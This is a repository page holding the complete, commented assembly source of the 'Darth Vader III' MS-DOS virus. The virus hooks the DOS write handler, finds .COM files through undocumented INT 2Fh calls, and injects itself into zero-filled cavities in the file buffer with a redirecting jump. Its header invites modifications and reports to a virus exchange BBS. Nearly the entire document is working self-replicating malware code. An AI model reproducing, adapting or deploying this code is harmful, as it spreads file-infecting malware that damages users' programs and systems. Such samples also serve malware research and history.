MalwareSourceCode/MSDOS/D-Index/Virus.MSDOS.Unknown.darth3.asm

197 lines
6.0 KiB
NASM
Raw Normal View History

2022-08-21 09:07:57 +00:00
;*******************************************************************************
;* *
;* D A R T H V A D E R ]I[ *
;* *
;* (C) - Copyright 1991 by Waleri Todorov, CICTT-Sofia *
;* All Rights Reserved *
;* *
;* This is the third release of Darth Vader virus. He also infect only *
;* those COM file, wich have area of 255 (or more) zeros. As you might *
;* see, virus' size is reduced. This increase possibility file to have *
;* enough zeros to hold virus. In several tests the percentage of *
;* infected file was tested, and it was bigger than in Darth Vader 2. *
;* This release support only DOS 2.X and later, but less than 5.X *
;* You may make any modifications in this source, BUT let me know *
;* what you have done (drop me a message at Virus eXchange BBS) *
;* *
;* Waleri Todorov *
;*******************************************************************************
org 0 ; Begin from offset 0
nop ; Dummy NOPs. Don't remove them
nop
nop
call NextLine ; Call next instruction
NextLine
pop bx ; To calculate it's own location
sub bx,6 ; Location stored in BX
mov [0FEh],ax ; Save AX for further usage
xor ax,ax ; Set DS to point in interrupt table
mov ds,ax ;
les ax,[2Bh*4] ; ES:AX point to vector 2B; ES==DOSSEG
xor di,di ; ES:DI point to DOSSEG:0000
mov cx,1000h ; Will search 1000h bytes
call SearchZero ; Search Zeros in ES:DI
jc ReturnControl ; If CF==Yes -> no place and exit
mov cs:[bx+offset NewStart],di ; Save beginnig
xor si,si ; SI=0;
push es ; Set DS point to DOSSEG
pop ds
SearchTable
lodsw ; Load word from DS:SI
cmp ax,8B2Eh ; Check first 'magic' byte
je Found1 ; If match -> check next byte
NotHere
dec si ; Else go search from next byte
jmp short SearchTable
Found1
lodsb ; Load next byte
cmp al,9Fh ; If match with last 'magic' byte
je FoundTable ; fo to found table
dec si ; else go search from next byte
jmp short NotHere
FoundTable
lodsw ; Load table address to AX
xchg ax,bx ; Exchange AX <-> BX
mov cx,[bx+80h] ; Load in CX old WRITE handler offset
xchg ax,bx ; Exchange AX <-> BX
mov cs:[bx+offset OldWrite],cx ; Save old offset
lea cx,[di+offset Handle] ; Load in CX new offset
xchg ax,bx ; Exchgange AX <-> BX
mov [bx+80h],cx ; Store new WRITE offset to table
xchg ax,bx ; Exchange AX <-> BX
push cs ; Set DS point to virus code
pop ds ;
mov cx,offset LastByte ; CX = Virus Size
mov si,bx ; SI=virus start offset
rep movsb ; ES:DI point to free area in DOS
; go in there
ReturnControl
push cs ; Set DS & ES point in host program
push cs
pop ds
pop es
mov di,100h ; DI point CS:100
lea si,[bx+offset First3] ; SI point old first instr
push di ; Save DI for dummy RETurn
movsw ; Move first 2 byte
movsb ; Move another one
mov ax,[0FEh] ; Restore AX (Remember?)
xor bx,bx ; Clear BX
ret ; Return control to host via dummy RETurn
; Here terminate virus installation in memory. After this moment
; virus is active and will infect any COM file bigger than the virus
; and having enough zeros
SearchZero
xor ax,ax ; Set AX to zero (gonna search zeros)
Again
inc di ; ES:DI++
push cx ; Save CX
push di ; Save DI
mov cx,offset LastByte ; CX = Virus Size
repe scasb ; Search until equal
pop di ; Restore DI
jcxz FoundPlace ; If CX==0 then ES:DI point to zeros
pop cx ; Else restore CX
loop Again ; And loop again until CX!=0
stc ; If CX==0
ret ; Set CF and return to caller (No place)
FoundPlace
pop cx ; Restore CX
clc ; Clear CF (ES:DI point to zero area)
ret ; Return to caller
; The followed procedure is new WRITE handle. It check does write buffer
; have enough zeros to hold virus. If so -> copy virus in zero area, change
; entry point and write file, else write file only
Handle
mov ss:[4],bp ; Save BP (BP used as index register)
push es ; Save important registers
push ax ; DS:DX are saved last, because
push bx ; they are used later in infection
push cx
push si
push di
push ds ;
push dx ;
call NextHandle ; Call NextHandle to calculate
OldWrite ; variable area offset
dw 0 ; Old WRITE handler
NewStart
dw 0 ; Virus offset in DOSSEG
First3
int 20h ; First 3 instruction of COM file
nop
NextHandle
pop bp ; Set SS:BP to point to variable area
cmp cx,offset LastByte+10h ; Check if write buffer
jb Do ; is big enough. If not -> exit
mov ax,1220h ; Get file handle (BX) table number
int 2Fh ; Via interrupt 2F (undocumented)
mov bl,es:[di] ; Load handle table number in BL
mov ax,1216h ; Get file handle table address
int 2Fh ; Via interrupt 2F (undocumented)
cmp es:[di+29h],'MO' ; Check if file is ?OM
jne Do ; If not -> exit
pop di ; Set ES:DI to point write buffer
pop es ;
push es ;
push di ;
mov ax,es:[di] ; Set AX to first 2 bytes from buffer
mov [bp+4],ax ; and save it in First instruction
mov al,es:[di+2] ; Set AL to third byte from buffer
mov [bp+6],al ; and save it in First instruction
call SearchZero ; Search zeros area in buffer
jc Do ; If not found -> exit
mov bx,di ; Set BX to point zero area
push cs ; Set DS point to DOSSEG (Virus)
pop ds
mov si,[bp+2] ; Set SI to virus offset in DOSSEG
mov cx,offset LastByte ; Set CX to virus size
rep movsb ; Move virus to buffer
pop di ; Set DI point to buffer (not zero area)
push di
mov al,0E9h ; Set AL to JMP opcode
sub bx,di ; Set BX to virus offset in file
stosb ; Store JMP to buffer
xchg ax,bx ; AX now have offset of virus in file
sub ax,3 ; Calculate JMP argument
stosw ; and store it in buffer
Do
pop dx ; Restore important registers
pop ds
pop di
pop si
pop cx
pop bx
pop ax
pop es
push [bp] ; Put old WRITE offset in stack for RET
mov bp,ss:[4] ; Restore BP
ret ; Call DOS via dummy RETurn
db 'Darth Vader ' ; Virus sign
LastByte label byte ; Last byte of virus
2021-01-12 23:38:47 +00:00